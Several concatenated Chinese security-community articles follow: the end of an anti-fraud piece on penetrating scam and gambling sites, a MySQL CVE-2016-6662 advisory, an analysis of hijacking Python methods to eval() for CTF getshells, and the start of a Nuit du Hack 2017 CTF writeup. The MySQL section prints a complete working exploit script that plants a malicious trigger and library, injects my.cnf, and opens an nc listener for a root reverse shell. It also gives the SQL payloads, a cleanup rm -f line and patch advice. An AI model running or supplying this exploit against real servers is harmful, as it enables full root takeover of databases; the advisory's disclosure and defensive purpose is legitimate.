首先，从目前的博彩团伙的网络服务部署来看，已经开始运用前后端的操作。这里的前后端与我们做开发的概念不同，像数据库与前端页面做了站库分离操作。从公网无法直接访问到数据库，当然他们这么做的目的也并不是为了防止黑客攻击，毕竟拿下前端服务器同样可以通过配置文件获得登录凭证。他们这么做的主要目的还是为了快速转移业务，因为现在国家打击力度比较大，通常像博彩、诈骗类的站点时效性都很低，尤其像诈骗类诈骗基本就是打一枪换一个地。所以既然数据都在后端的数据库，那么他们可以随时抛弃掉这个前端服务器，只需要把站点重新部署在新的服务器即可替换业务系统，这也是博彩类站点为什么有那么多的域名节点的原因之一，当然也因为怕被封禁掉。
当下来看，这两类团伙的网络安全能力跟意识虽然有所提升，但是还是不成熟的。尤其是像诈骗类，业务系统几乎千疮百孔，且意图十分明显，就是尽可能的获取用户的个人信息，这些大量的个人信息不仅可以用于精准诈骗，当然也可以作为数据贩卖，这也就牵扯出了一条黑色产业链。也不乏有从事黑灰产的人，攻击这些站点，获取公民信息，拿到暗网之类的地方出售。
在我们上班摸鱼，水群的同时， **“勤劳，努力”**
的诈骗团伙们在深山老林经历着风吹雨打，据说想要改善改善伙食还要等成功到手一个目标后才可以。基本来讲可以说是条件艰苦，环境恶劣，也不知道干这行图的啥。
**P.S. 博彩团伙肯定比这个精致多了，毕竟人家干的才是大业务。**
从数据统计来讲，诈骗涉及金额相比博彩并不多，真正涉案动辄几百万的就是博彩类了。所以对于博彩站点的渗透难度明显会高一点，且人员地域分布复杂，以前多数活动于云南临沧、昆明，福建等地。现在随着国内打击力度的不断提升，他们将服务器选择在国外，或者香港等地，给取证造成了不小的难度。人员基本活动于东南亚地带多一些，缅甸、柬埔寨、马来西亚、菲律宾都是他们的主要根据地。
这里给小伙伴普及一个小Tips，大家在渗透时一定要对目标的所有相关密码进行收集，有时候一些管理人员习惯以自己的名字拼音加生日作为密码，这时就可以通过这个落实到个人身份，当然这个如果是GA部门可以直接查，如果是乙方企业人员不妨将这个线索提交一下，说不得就能加条鸡腿呢。
**这里大家一定要注意一点，在渗透APP的时候，一定要使用模拟器或者专门的手机来做，因为一些APP会去收集手机上的通讯录，如果当APP获取通讯录权限时允许了。那么手机上所有的联系人信息都会被上传到远程数据库上，如果是诈骗相关的则会以此要挟受害者。博彩则会有专人对这些号码逐个拨打。毕竟，赌客的朋友也大概率会出现赌客，这也是一个概率的问题，通常以这样的方式来
“拉客”。**
**唧唧歪歪结束~**
## 后记
文章至此已经到了末尾，本次对新型网络犯罪攻防技术研究就告一段落。实际上目前的反诈形势还算不错，全民反诈的大环境下，人民的安全意识也有了明显的提升，这是好事儿。从目前来看大部分的诈骗、博彩团伙的反侦察能力虽然在逐日提升，但是还尚不成熟，并不是无迹可寻、天衣无缝。所以在对抗的过程中也是对溯源人员心理的考验，如何高效的研判分析，将一个个情报落实到实处，做出身份，都是对于能力的体现所在。
而溯源的过程也就是，将看似不关联的技术，灵活的运用起来，往往有意想不到的效果，实际上我认为渗透站点并不是反诈研判取证的全部，只能说作为辅助手段来收集线索。GA部门也有自己的一套研判手段，我也一直说站在不同的立场，能够掌握的资源是不同的，分工也是不同，所以我也一直将思维从纯粹的渗透者转向研判分析人员，区分有用的数据，落实到身份信息上这也正是我需要学习的，只能说
**道阻且长，行则将至** 吧。
**这里非常感谢青岛市刑警支队的段警官，实习时跟他学到了很多，感谢他 🙂**
**最后祝大家心想事成，美梦成真！** | 社区文章 |
# 【漏洞预警】Mysql代码执行漏洞，可本地提权（含exp，9/13 01点更新）
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**引用**
##
【漏洞预警】Mysql代码执行漏洞，可本地提权（含exp，9/13 01点更新）
<http://bobao.360.cn/learning/detail/3025.html>
【技术分享】CVE-2016-6662-MySQL ‘malloc_lib’变量重写命令执行分析
<http://bobao.360.cn/learning/detail/3026.html>
**
**
**概要**
Mysql (5.7, 5.6, 和
5.5版本)的所有默认安装配置，包括最新的版本，攻击者可以远程和本地利用该漏洞。该漏洞需要认证访问MYSQL数据库（通过网络连接或者像phpMyAdmin的web接口），以及通过SQL注入利用。
**攻击者成功利用该漏洞可以以ROOT权限执行代码，完全控制服务器。**
**利用条件：首先你要有一个Mysql低权限用户，仅需有FIle权限（例如：虚拟主机通常会提供，因为需要导入导出文件），即可实现Root权限提升，进而控制服务器**
**
**
**漏洞影响**
MySQL <= 5.7.15 远程代码执行/ 提权 (0day)
5.6.33
5.5.52
Mysql分支的版本也受影响,包括：
MariaDB
PerconaDB
**漏洞介绍**
这个漏洞影响(5.7, 5.6, 和
5.5版本)的所有Mysql默认配置，包括最新的版本，攻击者可以远程和本地利用该漏洞。该漏洞需要认证访问MYSQL数据库（通过网络连接或者像phpMyAdmin的web接口），以及通过SQL注入利用。攻击者成功利用该漏洞可以以ROOT权限执行代码，完全控制服务器。
**漏洞描述**
先看下我本地的MYSQL版本信息
root@debian:~# lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 8.5 (jessie)
Release: 8.5
Codename: jessie
root@debian:~# dpkg -l | grep -i mysql-server
ii mysql-server 5.5.50-0+deb8u1
ii mysql-server-5.5 5.5.50-0+deb8u1
ii mysql-server-core-5.5 5.5.50-0+deb8u1
之后启动Mysql服务器
root@debian:~# service mysql start
查看mysql的进程信息
root 14967 0.0 0.1 4340 1588 ? S 06:41 0:00 /bin/sh /usr/bin/mysqld_safe
mysql 15314 1.2 4.7 558160 47736 ? Sl 06:41 0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306
我们可以看到mysqld_safe的wrapper(封装)脚本是root权限执行的，而主要的mysqld进程确实mysql用户权限执行的。
我们看看该脚本
----[ /usr/bin/mysqld_safe ]---- [...]
# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
# then pkglibdir. tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld. See ld.so for details.
set_malloc_lib() {
malloc_lib="$1"
if [ "$malloc_lib" = tcmalloc ]; then
pkglibdir=`get_mysql_config --variable=pkglibdir`
malloc_lib=
# This list is kept intentionally simple. Simply set --malloc-lib
# to a full path if another location is desired.
for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
for flavor in _minimal '' _and_profiler _debug; do
tmp="$libdir/libtcmalloc$flavor.so"
#log_notice "DEBUG: Checking for malloc lib '$tmp'"
[ -r "$tmp" ] || continue
malloc_lib="$tmp"
break 2
done
done
[...]
----------[ eof ]---------------
通过手册我们可以得知–malloc-lib=LIB
选项可以加载一个so文件，如果攻击者可以注入路径信息到配置文件，就可以在MYSQL服务重启的时候，执行任意代码。
从2003开始，默认通过SELECT * INFO OUTFILE
'/var/lib/mysql/my.cnf'是不能覆写文件的，但是我们可以利用mysql logging（MySQL
）功能绕过outfile/dumpfile重写文件的保护，攻击者需要 SELECT/FILE 权限 。
依赖于mysql的版本，相应的配置文件也不同
比如mysql5.5
/etc/my.cnf Global options
/etc/mysql/my.cnfGlobal options
SYSCONFDIR/my.cnfGlobal options
$MYSQL_HOME/my.cnfServer-specific options
defaults-extra-fileThe file specified with --defaults-extra-file=file_name, if any
~/.my.cnfUser-specific options
我们通过覆写/etc/my.cnf注入malloc_lib=路径选项，命令如下：
----[ /usr/bin/mysqld_safe ]---- [...]
# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
# then pkglibdir. tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld. See ld.so for details.
set_malloc_lib() {
malloc_lib="$1"
if [ "$malloc_lib" = tcmalloc ]; then
pkglibdir=`get_mysql_config --variable=pkglibdir`
malloc_lib=
# This list is kept intentionally simple. Simply set --malloc-lib
# to a full path if another location is desired.
for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
for flavor in _minimal '' _and_profiler _debug; do
tmp="$libdir/libtcmalloc$flavor.so"
#log_notice "DEBUG: Checking for malloc lib '$tmp'"
[ -r "$tmp" ] || continue
malloc_lib="$tmp"
break 2
done
done
[...]
----------[ eof ]--------------- mysql> set global general_log_file = '/etc/my.cnf';
mysql> set global general_log = on;
mysql> select '
'>
'> ; injected config entry
'>
'> [mysqld]
'> malloc_lib=/tmp/mysql_exploit_lib.so
'>
'> [separator]
'>
'> ';
mysql> set global general_log = off;
**注意：修改配置文件后，会导致mysql重启的时候失败。**
注入后的my.cnf文件包含：
[mysqld]
malloc_lib=/tmp/mysql_exploit_lib.so
mysqld_safe也载入配置文件从mysql的data目录，(/var/lib/mysql/my.cnf)，这个功能从mysql
5.7移除，不再加载，所以即使mysql用户没有权限修改/etc/my.cnf，也可以通过下面的文件来加载
/var/lib/mysql/my.cnf
/var/lib/mysql/.my.cnf
即使没有dba权限，也可以通过触发器来覆写文件
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
ON `active_table` FOR EACH ROW
BEGIN
DECLARE void varchar(550);
set global general_log_file='/var/lib/mysql/my.cnf';
set global general_log = on;
select "
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
" INTO void;
set global general_log = off;
END;
SELECT '....trigger_code...' INTO DUMPFILE /var/lib/mysql/activedb/active_table.TRG'
触发器写入成功后，刷新的时候会载入，比如通过执行一个insert语句来刷新
INSERT INTO `active_table` VALUES('xyz');
**POC**
****
----------[ 0ldSQL_MySQL_RCE_exploit.py ]-------------- #!/usr/bin/python
# This is a limited version of the PoC exploit. It only allows appending to
# existing mysql config files with weak permissions. See V) 1) section of
# the advisory for details on this vector.
#
# Full PoC will be released at a later date, and will show how attackers could
# exploit the vulnerability on default installations of MySQL on systems with no
# writable my.cnf config files available.
#
# The upcoming advisory CVE-2016-6663 will also make the exploitation trivial
# for certain low-privileged attackers that do not have FILE privilege.
#
# See full advisory for details:
# http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt
#
# Stay tuned ;)
intro = """
0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit
For testing purposes only. Do no harm.
Discovered/Coded by:
Dawid Golunski
http://legalhackers.com
"""
import argparse
import mysql.connector
import binascii
import subprocess
def info(str):
print "[+] " + str + "n"
def errmsg(str):
print "[!] " + str + "n"
def shutdown(code):
if (code==0):
info("Exiting (code: %d)n" % code)
else:
errmsg("Exiting (code: %d)n" % code)
exit(code)
cmd = "rm -f /var/lib/mysql/pocdb/poctable.TRG ; rm -f /var/lib/mysql/mysql_hookandroot_lib.so"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait()
# where will the library to be preloaded reside? /tmp might get emptied on reboot
# /var/lib/mysql is safer option (and mysql can definitely write in there ;)
malloc_lib_path='/var/lib/mysql/mysql_hookandroot_lib.so'
# Main Meat
print intro
# Parse input args
parser = argparse.ArgumentParser(prog='0ldSQL_MySQL_RCE_exploit.py', description='PoC for MySQL Remote Root Code Execution / Privesc CVE-2016-6662')
parser.add_argument('-dbuser', dest='TARGET_USER', required=True, help='MySQL username')
parser.add_argument('-dbpass', dest='TARGET_PASS', required=True, help='MySQL password')
parser.add_argument('-dbname', dest='TARGET_DB', required=True, help='Remote MySQL database name')
parser.add_argument('-dbhost', dest='TARGET_HOST', required=True, help='Remote MySQL host')
parser.add_argument('-mycnf', dest='TARGET_MYCNF', required=True, help='Remote my.cnf owned by mysql user')
args = parser.parse_args()
# Connect to database. Provide a user with CREATE TABLE, SELECT and FILE permissions
# CREATE requirement could be bypassed (malicious trigger could be attached to existing tables)
info("Connecting to target server %s and target mysql account '%s@%s' using DB '%s'" % (args.TARGET_HOST, args.TARGET_USER, args.TARGET_HOST, args.TARGET_DB))
try:
dbconn = mysql.connector.connect(user=args.TARGET_USER, password=args.TARGET_PASS, database=args.TARGET_DB, host=args.TARGET_HOST)
except mysql.connector.Error as err:
errmsg("Failed to connect to the target: {}".format(err))
shutdown(1)
try:
cursor = dbconn.cursor()
cursor.execute("SHOW GRANTS")
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(2)
privs = cursor.fetchall()
info("The account in use has the following grants/perms: " )
for priv in privs:
print priv[0]
print ""
# Compile mysql_hookandroot_lib.so shared library that will eventually hook to the mysqld
# process execution and run our code (Remote Root Shell)
# Remember to match the architecture of the target (not your machine!) otherwise the library
# will not load properly on the target.
info("Compiling mysql_hookandroot_lib.so")
cmd = "gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait()
if rc != 0:
errmsg("Failed to compile mysql_hookandroot_lib.so: %s" % cmd)
print error
shutdown(2)
# Load mysql_hookandroot_lib.so library and encode it into HEX
info("Converting mysql_hookandroot_lib.so into HEX")
hookandrootlib_path = './mysql_hookandroot_lib.so'
with open(hookandrootlib_path, 'rb') as f:
content = f.read()
hookandrootlib_hex = binascii.hexlify(content)
# Trigger payload that will elevate user privileges and sucessfully execute SET GLOBAL GENERAL_LOG
# Decoded payload (paths may differ):
"""
DELIMITER //
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
ON `poctable` FOR EACH ROW
BEGIN
DECLARE void varchar(550);
set global general_log_file='/var/lib/mysql/my.cnf';
set global general_log = on;
select "
# 0ldSQL_MySQL_RCE_exploit got here :)
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
[abyss]
" INTO void;
set global general_log = off;
END; //
DELIMITER ;
"""
trigger_payload="""TYPE=TRIGGERS
triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\nAFTER INSERT\n ON `poctable` FOR EACH ROW\nBEGIN\n\n DECLARE void varchar(550);\n set global general_log_file=\'%s\';\n set global general_log = on;\n select "\n\n# 0ldSQL_MySQL_RCE_exploit got here :)\n\n[mysqld]\nmalloc_lib=\'%s\'\n\n[abyss]\n" INTO void; \n set global general_log = off;\n\nEND'
sql_modes=0
definers='root@localhost'
client_cs_names='utf8'
connection_cl_names='utf8_general_ci'
db_cl_names='latin1_swedish_ci'
""" % (args.TARGET_MYCNF, malloc_lib_path)
# Convert trigger into HEX to pass it to unhex() SQL function
trigger_payload_hex = "".join("{:02x}".format(ord(c)) for c in trigger_payload)
# Save trigger into a trigger file
TRG_path="/var/lib/mysql/%s/poctable.TRG" % args.TARGET_DB
info("Saving trigger payload into %s" % (TRG_path))
try:
cursor = dbconn.cursor()
cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (trigger_payload_hex, TRG_path) )
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(4)
# Save library into a trigger file
info("Dumping shared library into %s file on the target" % malloc_lib_path)
try:
cursor = dbconn.cursor()
cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (hookandrootlib_hex, malloc_lib_path) )
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(5)
# Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server
info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded")
try:
cursor = dbconn.cursor()
cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'" )
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(6)
# Finally, execute the trigger's payload by inserting anything into `poctable`.
# The payload will write to the mysql config file at this point.
info("Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config %s" % args.TARGET_MYCNF )
try:
cursor = dbconn.cursor()
cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" )
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(6)
# Check on the config that was just created
info("Showing the contents of %s config to verify that our setting (malloc_lib) got injected" % args.TARGET_MYCNF )
try:
cursor = dbconn.cursor()
cursor.execute("SELECT load_file('%s')" % args.TARGET_MYCNF)
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(2)
finally:
dbconn.close() # Close DB connection
print ""
myconfig = cursor.fetchall()
print myconfig[0][0]
info("Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)")
# Spawn a Shell listener using netcat on 6033 (inverted 3306 mysql port so easy to remember ;)
info("Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)" )
listener = subprocess.Popen(args=["/bin/nc", "-lvp","6033"])
listener.communicate()
print ""
# Show config again after all the action is done
info("Shell closed. Hope you had fun. ")
# Mission complete, but just for now... Stay tuned :)
info("""Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)""")
# Shutdown
shutdown(0)
**对CVE-2016-6662的简单测试**
****
1.修改my.cnf的权限，让mysql用户可写
2.通过mysql logging 覆写文件
3.放置后门程序
gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.c.so mysql_hookandroot_lib.c.c -ldl
4.重启触发反弹
**
**
**修复办法：**
**0day漏洞，目前尚无补丁，请持续关注安全客最新报道！**
**临时修复建议：不要给远程用户SUPER或者FILE权限 （2016/09/12 23:03 更新）**
**
**
**官方已经发布补丁： **（2016/09/13 18:03 更新）****
****
方便升级的用户尽快升级MySQL版本，升级后的MySQL将限制ld_preload仅仅能够从/usr/lib64,/usr/lib这种系统目录和MySQL安装目录载入
补丁下载地址；
使用MySQL5.5版本的用户
[https://www.percona.com/downloads/Percona-Server-5.5/](https://www.percona.com/downloads/Percona-Server-5.5/)
使用MySQL 5.6版本的用户
[https://www.percona.com/downloads/Percona-Server-5.6/Percona-Server-5.6.32-78.0/](https://www.percona.com/downloads/Percona-Server-5.6/Percona-Server-5.6.32-78.0/)
使用MySQL5.7版本的用户
[https://www.percona.com/downloads/Percona-Server-5.7/Percona-Server-5.7.14-7/](https://www.percona.com/downloads/Percona-Server-5.7/Percona-Server-5.7.14-7/)
不方便升级的用户可以通过配置数据库用户权限和配置文件权限2方面修补：
数据库用户权限
不要给远程用户SUPER或者FILE权限，然而 CVE-2016-6663
提及到即使没有FILE权限，也可以利用（根据MySQL发行日志怀疑是和REPAIR TABLE使用临时文件有关）
配置文件权限
新建一个空的my.cnf和.my.cnf文件在datadir目录（通常是/var/lib/mysql目录，owner/group为root,权限为0600）
其他的位置/etc/my.cnf /etc/mysql/my.cnf /usr/etc/my.cnf ~/.my.cnf （可以通过mysqld –help
–version来查看mysqld的版本信息）
确保配置文件中的!includedir定义中的目录mysql用户不可写
通过权限配置mysql用户不能够写配置文件
**原文参考：**
**<http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html>**
[https://www.percona.com/blog/2016/09/12/database-affected-cve-2016-6662/](https://www.percona.com/blog/2016/09/12/database-affected-cve-2016-6662/)
**引用**
* * *
##
【漏洞预警】Mysql代码执行漏洞，可本地提权（含exp，9/13 01点更新）
<http://bobao.360.cn/learning/detail/3025.html>
【技术分享】CVE-2016-6662-MySQL ‘malloc_lib’变量重写命令执行分析
<http://bobao.360.cn/learning/detail/3026.html>
[](http://bobao.360.cn/learning/detail/3026.html) | 社区文章 |
# Python源码分析 劫持类成员函数为eval()的时候，self哪去了？
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在Python题的getshell途中，我们可以把某个类的成员函数劫持成`eval`。看起来一切都没有问题，但仔细想想，调用类的成员函数的时候传参不是会传递`self`也就是`func(clazz.self,
paramter)`吗？那为什么没有`self`没有被作为`eval`的第一个参数呢，而且还没有报错？
知其然更要知其所以然，我们今天就来以python3.7.8源码为例进行分析。调试python的源码的环境配置步骤和调试php源码的时候差不多，所以可以参考php源码调试环境搭建的相关文章。
小贴士：python源码中Doc文件夹里的存放着官方文档（一些`.rst`文件），不知道源码里的函数的作用时，可以在Doc中进行搜索查看，在clion中可以按Ctrl+Shift+F进行全部搜索，搜索范围可达整个项目乃至库函数的源码）。
## 引例
来看下面的这份代码，我们知道[eval()](https://docs.python.org/3.8/library/functions.html?highlight=eval#eval)的定义是`eval(expression[,
globals[, locals]])`。
如果把`eval()`放在`__eq__`里，在执行`a=="bb"`的时候`expression`应该传入的是`self`，然而`globals`应该传的是`"bb"`，如果这样的话一定是会报错没法继续执行的。：
class A():
pass
if __name__ == "__main__":
a = A()
a.__class__.__eq__ = eval
print(a)
print(eval)
a == "bb"
那实际中，在`__eq__`里用`a.__class__.__eq__ = eval`放进`eval()`，为什么没有报错，反而正常执行了呢？
## 分析
### 0x01 builtin_eval
python语言里的`eval()`是属于`python`的`builtin_function`，它的实现是在`builtin_eval`
static PyObject *
builtin_eval(PyObject *module, PyObject *const *args, Py_ssize_t nargs)
{
PyObject *return_value = NULL;
PyObject *source;
PyObject *globals = Py_None;
PyObject *locals = Py_None;
if (!_PyArg_UnpackStack(args, nargs, "eval",
1, 3,
&source, &globals, &locals)) {
goto exit;
}
return_value = builtin_eval_impl(module, source, globals, locals);
exit:
return return_value;
}
所以对这个函数下断点，看看调用链。
可以看到在解释`a == 'bb'`的时候，因为在进行`==`比较`do_richcompare`发挥了作用，参数中的`op=2`意思是正在进行`==`
在python语言的设计理念里，一个对象拥有诸多个`slots`，比如`__str__`就是一个槽函数，你可以Override它。包括`__eq__`也是
<https://docs.python.org/3.8/c-api/typeobj.html?highlight=slots>
`a.__class__.__eq__=eval`，所以可以理解为将`eval`就放在了这个eq对应的`slot`里，这样就进入到了`slot_tp_richcompare`。
如果没有放`eval`，那么python在进行`richcompare`的时候就按照正常的流程进行比较。
static PyObject *
slot_tp_richcompare(PyObject *self, PyObject *other, int op)
{
int unbound;
PyObject *func, *res;
func = lookup_maybe_method(self, &name_op[op], &unbound);
if (func == NULL) {
PyErr_Clear();
Py_RETURN_NOTIMPLEMENTED;
}
PyObject *args[1] = {other};
res = call_unbound(unbound, func, self, args, 1);
Py_DECREF(func);
return res;
}
static _Py_Identifier name_op[] = {
{0, "__lt__", 0},
{0, "__le__", 0},
{0, "__eq__", 0},
{0, "__ne__", 0},
{0, "__gt__", 0},
{0, "__ge__", 0}
};
`lookup_maybe_method`取出放在`__eq__`里的eval，用然后`call_unbound`执行eval
但是注意到`call_unbound`里还是传入了`self`，那`self`是在哪被丢掉的？
因为`unbound=0`，所以`self`在这里被丢掉了
static PyObject*
call_unbound(int unbound, PyObject *func, PyObject *self,
PyObject **args, Py_ssize_t nargs)
{
if (unbound) { //unbound = 0
return _PyObject_FastCall_Prepend(func, self, args, nargs);
}
else {
return _PyObject_FastCall(func, args, nargs);
}
}
现在知道了`self`在哪被丢掉的，那么`unbound = 0`又是怎么来的，让我们刨根问底，继续接着看：
### 0x02 unbound
继续跟踪可以发现`_PyObject_FastCallDict()`，调用了`_PyCFunction_FastCallDict()`，这个`CFunction`当然就是我们的eval，后面就进入到了`builtin_eval()`的执行当中
PyObject *
_PyObject_FastCallDict(PyObject *callable, PyObject *const *args, Py_ssize_t nargs,
PyObject *kwargs)
{
/* _PyObject_FastCallDict() must not be called with an exception set,
because it can clear it (directly or indirectly) and so the
caller loses its exception */
assert(!PyErr_Occurred());
assert(callable != NULL);
assert(nargs >= 0);
assert(nargs == 0 || args != NULL);
assert(kwargs == NULL || PyDict_Check(kwargs));
if (PyFunction_Check(callable)) {
return _PyFunction_FastCallDict(callable, args, nargs, kwargs);
}
else if (PyCFunction_Check(callable)) {
return _PyCFunction_FastCallDict(callable, args, nargs, kwargs);
}
所以呢？`unbound=0`是怎么来的？让我们看下`lookup_maybe_method`干了什么。
static PyObject *
lookup_maybe_method(PyObject *self, _Py_Identifier *attrid, int *unbound)
{
PyObject *res = _PyType_LookupId(Py_TYPE(self), attrid);
//res = eval()
//这里就是把eval从__eq__里取出来，这里的attrid就是__eq__
if (res == NULL) {
return NULL;
}
if (PyFunction_Check(res)) {
/* Avoid temporary PyMethodObject */
*unbound = 1;
Py_INCREF(res);
}
else {
*unbound = 0;
descrgetfunc f = Py_TYPE(res)->tp_descr_get;
// descr descriptor tp_descr_get是获取新式类里的__get__方法
// 在python中，如果一个新式类定义了__get__, __set__, __delete__方法中的一个或者多个，那么这里的descriptor指的是所定义__get__, __set__, __delete__
if (f == NULL) {
Py_INCREF(res);
//引用计数器 +1
}
else {
res = f(res, self, (PyObject *)(Py_TYPE(self)));
}
}
return res;
}
`PyFunction_Check`相关宏定义：
#define PyFunction_Check(op) (Py_TYPE(op) == &PyFunction_Type)
#define Py_TYPE(ob) (((PyObject*)(ob))->ob_type)
`&PyFunction_Type`可以理解为`PyFunction_Type[0]`，PyFunction_Type数组：
PyTypeObject PyFunction_Type = {
PyVarObject_HEAD_INIT(&PyType_Type, 0)
"function",
sizeof(PyFunctionObject),
0,
(destructor)func_dealloc, /* tp_dealloc */
0, /* tp_print */
0, /* tp_getattr */
0, /* tp_setattr */
0, /* tp_reserved */
(reprfunc)func_repr, /* tp_repr */
0, /* tp_as_number */
0, /* tp_as_sequence */
0, /* tp_as_mapping */
0, /* tp_hash */
function_call, /* tp_call */
0, /* tp_str */
0, /* tp_getattro */
0, /* tp_setattro */
0, /* tp_as_buffer */
Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, /* tp_flags */
func_new__doc__, /* tp_doc */
(traverseproc)func_traverse, /* tp_traverse */
0, /* tp_clear */
0, /* tp_richcompare */
offsetof(PyFunctionObject, func_weakreflist), /* tp_weaklistoffset */
0, /* tp_iter */
0, /* tp_iternext */
0, /* tp_methods */
func_memberlist, /* tp_members */
func_getsetlist, /* tp_getset */
0, /* tp_base */
0, /* tp_dict */
func_descr_get, /* tp_descr_get */
0, /* tp_descr_set */
offsetof(PyFunctionObject, func_dict), /* tp_dictoffset */
0, /* tp_init */
0, /* tp_alloc */
func_new, /* tp_new */
};
`PyVarObject_HEAD_INIT(&PyType_Type, 0) "function"`前面的那堆是类型转换，不管他。
这里的意思是`ob_type`得是`"function"`才能让`PyFunction_Check`返回`1`，因为`eval`的`ob_type`是`builtin_function_or_method`，所以会返回`0`
可以通过如下简单测试验证，如下例子中的`ob_type`为`function`，并且返回的`unbound = 1`：
def hello(aa, bb):
print(aa, bb)
a.__class__.__eq__ = hello
然后我们明显没有定义`class A`的`__get__`，所以`descrgetfunc =
NULL`，之后`lookup_maybe_method`结束，就把`eval`返回过来了顺带确定`unbound = 0`
## 总结
在web安全的学习当中，很多语言的小trick看似普通，但是，我们要弄明白它的原理，因为了解trick背后的原理更有收获比起光光记住小trick，往往来得更有收获。
阅读源码时往往可以参考官方的文档，这样便于理解其设计理念，知道了整体架构，也便于后续的分析。 | 社区文章 |
# 【CTF 攻略】法国年度黑客竞赛：Nuit du Hack 2017 Writeup
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**竞赛官网：**[ **https://quals.nuitduhack.com/**](https://quals.nuitduhack.com/)
****
****
作者：[ **FlappyPig**](http://bobao.360.cn/member/contribute?uid=1184812799)
预估稿费：600RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**Matriochka step 1**
主要逻辑在这里：
非常简单，字符串倒序然后和一个字符串比较，直接讲T开头字符串倒序就是flag。
**step2**
用了个int 3产生sigtrap信号，在信号处理函数中进行+1或者-1操作。
from zio import *
value = [0x0FF6FEAFE,0x0CDAF4DB6,0x8D9A9B17,0x83A147A7,0x7AD24DCA,0x0C99CA1B9,0x71CEAC15,0x932C2931]
flag = 'W'
key = 0xdeadbeef
for v in value:
c = v^key
key = v
flag += l32(c)
flag2 = 'W'
for i in range(len(flag)-1):
if ord(flag[i])&1:
flag2 += chr((ord(flag[i])+ord(flag[i+1]))&0xff)
else:
flag2 += chr((ord(flag[i+1])-ord(flag[i])+0x100)&0xff)
print flag2
**step3**
进行了类似base64运算。不过每次运算用的字符串表在动态改变。
import base64
import os
from zio import *
f = open('./step3.bin', 'rb')
d = f.read()[0x16e3:].split('x00')[0]
f.close()
base_table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
def spec_base64(d, s):
dict = {}
for i in range(64):
dict[s[i]]= base_table[i]
dict['='] = '='
d2 = ''
for j in range(len(d)):
d2 += dict[d[j]]
return base64.b64decode(d2)
v = 0x1457893
def get_index():
global v
v = ((v * 0x539) & 0xffffffff) % 0x7FFFFFFF
return v&0x3f
s0 = []
for i in range(64):
s0.append(base_table[i])
ss = []
for i in range(16):
for j in range(50):
index1 = get_index()
index2 = get_index()
tmp = s0[index1]
s0[index1] = s0[index2]
s0[index2] = tmp
ss.append(''.join(s for s in s0))
print len(ss)
for i in range(16):
d = spec_base64(d, ss[15-i])
print d
key2 = 'platypus'
flag = ''
for i in range(len(d)):
flag += chr(ord(d[i])^ord(key2[i%8]))
key1 = 'pony'
flag2 = ''
for i in range(len(flag)):
flag2 += chr(ord(flag[i])^ord(key1[i%4]))
print flag2
os.popen('./step3.bin JonSn0wIsDead!AndDealWithIt! 2>step4_2.bin')
**step4**
层层异或解密代码，写了个idapython脚本自动化还原。
from idaapi import *
